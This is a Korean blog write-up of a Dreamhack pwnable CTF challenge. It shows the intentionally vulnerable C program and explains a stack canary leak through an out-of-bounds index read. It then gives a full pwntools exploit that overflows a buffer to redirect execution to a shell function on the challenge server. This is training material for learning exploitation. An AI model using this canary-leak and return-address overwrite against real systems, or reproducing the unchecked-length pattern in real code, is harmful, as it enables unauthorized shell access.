#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
puts("[F]ill the box");
puts("[P]rint the box");
puts("[E]xit");
printf("> ");
}
int main(int argc, char *argv[]) {
unsigned char box[0x40] = {};
char name[0x40] = {};
char select[2] = {};
int idx = 0, name_len = 0;
initialize();
while(1) {
menu();
read(0, select, 2);
switch( select[0] ) {
case 'F':
printf("box input : ");
read(0, box, sizeof(box));
break;
case 'P':
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);
break;
case 'E':
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
return 0;
default:
break;
}
}
}
문제 코드이다.
get_shell 함수를 실행시키면 되는데 E 케이스에서 name_len을 맘대로 입력해서 ret 주로를 get_shell 함수의 주소로 하면 될 것 같다. 카나리는 P 케이스에서 idx를 box사이즈보다 크게 입력해서 읽어오면 될 것 같다.
카나리부터 읽어와야 하는데 gdb에서 asm을 읽어본 결과, box, name 다음 4바이트에 카나리가 저장되어 있기 때문에
0x83~0x80을 읽어오면 된다.
for i in range(0x83, 0x7f, -1) :
p.sendafter('> ','P') #read
p.sendlineafter(' : ', bytes(str(i),'utf-8')) #scanf
p.recvuntil(' : ')
canary += p.recv(2)
canary = int(canary,16)
print('canary : 0x%08x'%canary)
이렇게 카나리를 읽어올 수 있다.
get_shell 함수의 주소는 그냥 gdb에서 간단하게 읽어올 수 있다.
이제 E 케이스에서 오버플로우를 발생시키면 된다.
스택 구조 상에서 dummy와 sfp 만큼의 바이트도 고려해서 페이로드를 작성하면
from pwn import *
p = remote('host3.dreamhack.games', 17973)
canary = b''
get_shell = 0x080486b9
for i in range(0x83, 0x7f, -1) :
p.sendafter('> ','P') #read
p.sendlineafter(' : ', bytes(str(i),'utf-8')) #scanf
p.recvuntil(' : ')
canary += p.recv(2)
canary = int(canary,16)
print('canary : 0x%08x'%canary)
payload = b''
payload += b'\x90' * 0x40
payload += p32(canary)
payload += b'D'*4 #dummy
payload += b'S'*4 #sfp
payload += p32(get_shell) #ret -> get_shell
p.sendafter('> ', 'E')
p.sendlineafter(' : ', '200')
p.sendafter(' : ',payload)
p.interactive()
이렇게 최종 페이로드를 작성할 수 있다.
셸을 획득했으면 cat flag로 플래그를 구할 수 있다.
'포너블' 카테고리의 다른 글
드림핵 ssp_000 롸업 (0) | 2024.04.06 |
---|---|
Stack Canary & Return to Shellcode 롸업 (0) | 2024.03.06 |
드림핵 basic_exploitation_001 롸업 (1) | 2024.03.06 |
드림핵 basic_exploitation_000 롸업 (0) | 2024.03.04 |
Stack Buffer Overflow & Return Address Overwrite 롸업 (0) | 2024.02.03 |